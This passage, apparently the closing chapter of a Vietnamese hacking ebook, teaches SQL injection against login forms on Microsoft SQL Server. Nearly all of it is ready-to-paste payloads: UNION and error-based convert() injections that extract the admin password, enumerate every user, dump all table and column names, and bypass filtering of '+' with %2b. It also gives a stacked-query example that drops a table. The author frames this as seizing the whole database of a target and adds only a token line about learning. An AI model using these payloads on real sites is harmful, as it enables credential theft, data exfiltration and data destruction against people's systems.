username : ' Union select VPASS,1,1,1...1,1 from VTABLE where VUSER='admin'-- (1)

password : everything

Bạn hãy thêm ",1" cho đến khi kết quả ra đại loại như

-----

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'tuibihackroi' to a column of data type int.

-----

Như vậy Pass của user 'admin' là 'tuibihackroi'

.....

Vâng thưa các bạn SQL injection thật thú vị, và đây là điều ta có thể làm trong bài viết hôm nay của tôi : Lấy sạch database của đối phương.

3) Lấy hết value của một column đã biết trong một table đã biết

Bí quyết ở đây là “Not in” Structure của nó như sau (sử dụng ví dụ với column của bài trước):

Với Vuser là admin ta có thể lấy được các user khác

-----Login Page :::::

username: ‘ Union select Vuser,1,1,1...,1 from Vtable where username not in (‘admin’)—

-----

Vâng, sau đó chúng ta sẽ thu được thêm một user nữa và chỉ việc chèn vào trong Not in ( vd: Not in (‘admin’,’hacker’,....)) cứ làm tiếp tục như thế ta sẽ có hết mọi user(dĩ nhiên sau đó là mọi password).

\*\*\*\* Để lấy danh sách tên các user theo một quy định mà bạn chọn , ví dụ chỉ lấy các user có chứa từ admin chẳng hạn ta dùng “like” : cấu trúc

-----Login Page :::::

username: ‘ Union select Vuser,1,1,1...,1 from Vtable where username not in (‘admin’) like %admin%—

-----

4) Lấy hết table và column của của database:

Bí quyết chính là table này của database : INFORMATION\_SCHEMA.TABLES với column TABLE\_NAME (chứa toàn bộ table) và table : INFORMATION\_SCHEMA.COLUMNS với column COLUMN\_NAME (chứa toàn bộ column)

Cách sử dụng dùng Union:

-----Login page :::::

```
username: ' UNION SELECT TABLE_NAME,1,1,1...,1 FROM  
INFORMATION_SCHEMA.TABLES WHERE .....
```

-----

Như vậy ta có thể lấy được hết table, sau khi có table ta lấy hết column của table đó :

-----Login page :::::

```
username: ' UNION SELECT COLUMN_NAME FROM  
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='... ' and .....
```

-----

Trên đây là những điều căn bản nhất về SQL injection mà tôi có thể cung cấp cho các bạn, còn làm được tốt hay không thì phải có một chút sáng tạo nữa hy vọng nó giúp ích cho các bạn một chút khi gặp một site bị SQL injection

## 5) Không cần UNION:

Nếu các bạn ngại dùng Union vì những bất tiện của nó thì các bạn có thể dùng "Convert" một cách dễ dàng hơn để thu thập info qua các thông báo lỗi

Structure :

---login page:::

```
user : ' + convert (int,(select @@version))--
```

-----

Trên là một ví dụ để bạn lấy version, giờ đây muốn lấy bất cứ info nào bạn chỉ cần thay vào cái "select @@version" nhưng nhớ nếu là lần đầu tiên get info thì thêm TOP 1 vào nhé

vd: user : ' + convert (int,(select Vpass from Vtable where Vuser='admin'))--

Lưu ý : Nếu các bạn sử dụng không được thì có thể vì dấu + không được chấp nhận, lúc đó hãy thay nó === %2b

vd: user : ' %2b convert (int,(select Vpass from Vtable where Vuser='admin'))--

6) Run command SQL :

Để run command bạn có thể dùng dấu ";"

Structure :

login page :::::

user : ' ; [command]--

-----

vd: ' ; DROP TABLE VTABLE--

Nếu các bạn rành về SQL thì có thể làm được rất nhiều điều thú vị qua cái này , nhưng tôi xin để phần đó cho các bạn tự nghiên cứu nhé.

---

---

Chấm hết cuốn Ebook. Chúc các bạn may mắn. Hack chỉ là để học hỏi và trao dồi kỹ năng bảo mật.

<http://thegioiebook.com>

**THE END**